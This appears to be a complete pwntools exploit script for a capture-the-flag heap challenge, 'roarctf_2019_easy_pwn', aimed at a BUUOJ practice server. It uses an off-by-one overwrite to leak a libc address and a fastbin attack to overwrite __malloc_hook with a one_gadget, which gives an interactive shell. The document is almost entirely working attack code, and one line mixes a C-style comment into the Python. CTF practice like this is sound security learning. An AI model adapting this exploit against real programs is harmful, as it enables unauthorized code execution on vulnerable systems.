1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
| from pwn import * from LibcSearcher import * import sys import re
filename = './roarctf_2019_easy_pwn' url = 'node5.buuoj.cn:26271'
def extract_hostname_and_port(url): match = re.match(r'([^:\s]+)[\s:](\d*)', url) if match: hostname = match.group(1) port = match.group(2) if match.group(2) else None return hostname, port return None, None
hostname, port = extract_hostname_and_port(url) debug_flag = False
if len(sys.argv) > 1: if sys.argv[1] == 'remote': p = remote(hostname, port) elif sys.argv[1] == 'debug': p = process(filename) debug_flag = True else: print("Usage: python script.py [remote|debug]") exit(1) else: p = process(filename)
def debug(): if debug_flag: try: gdbscript = ''' b * $rebase(0x0000000000000D6C) b * $rebase(0x0000000000000F6D) b * $rebase(0x000000000000108C) b * $rebase(0x00000000000011D0) ''' gdb.attach(p, gdbscript = gdbscript) print("GDB attached successfully") except Exception as e: print(f"Failed to attach GDB: {e}")
context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
elf = ELF(filename) debug()
''' Note system 1. create a note 2. write note 3. drop the note 4. show the note 5. exit choice: '''
def add(size) : p.sendlineafter('choice: ' , b'1') p.sendlineafter('size: ' , str(size))
def edit(idx , size , content) : p.sendlineafter('choice: ' , b'2') p.sendlineafter('index: ' , str(idx)) p.sendlineafter('size: ' , str(size)) p.sendlineafter('content: ' , content) def free(idx) : p.sendlineafter('choice: ' , b'3') p.sendlineafter('index: ' , str(idx))
def show(idx) : p.sendlineafter('choice: ' , b'4') p.sendlineafter('index: ' , str(idx))
add(0x18) add(0x18) add(0x80) add(0x18) add(0x18) add(0x60)
payload = p64(0) * 3 + p8(0x41) edit(0 , len(payload) + 0x09 , payload) payload = p64(0) * 3 + p64(0x71) edit(2 , len(payload) , payload) free(1) add(0x38) payload = p64(0) * 3 + p64(0x91) edit(1 , len(payload) , payload) free(2) show(1) p.recvuntil('content: ') main_arena_88 = u64(p.recv(0x28)[-8:]) success(hex(main_arena_88)) malloc_hook = main_arena_88 - 88 - 0x10 libc = LibcSearcher('__malloc_hook' , malloc_hook) base_addr = malloc_hook - libc.dump('__malloc_hook')
fake_chunk = malloc_hook - 0x23 payload = p64(0) * 3 + p8(0x41) edit(3 , len(payload) + 0x09 , payload) payload = p64(0) * 3 + p64(0x51) edit(5 , len(payload) ,payload) free(4) add(0x38) payload = p64(0) * 3 + p64(0x71) edit(2 , len(payload) , payload) free(5) payload = p64(0) * 3 + p64(0x71) + p64(fake_chunk) edit(2 , len(payload) , payload) add(0x60) add(0x60) success("malloc_hook : " + hex(malloc_hook)) success("fake_chunk : " + hex(fake_chunk))
realloc_hook = base_addr + libc.dump('realloc') success(hex(realloc_hook)) one=[0x45216,0x4526a,0xf1147,0xf02a4]//第二个偏移0,第三个偏移4,第四个偏移13 one_gadget = base_addr + one[3] payload = b'a' * 11 + p64(one_gadget) + p64(realloc_hook + 13) edit(5 , len(payload) , payload) add(0x60) p.interactive()
|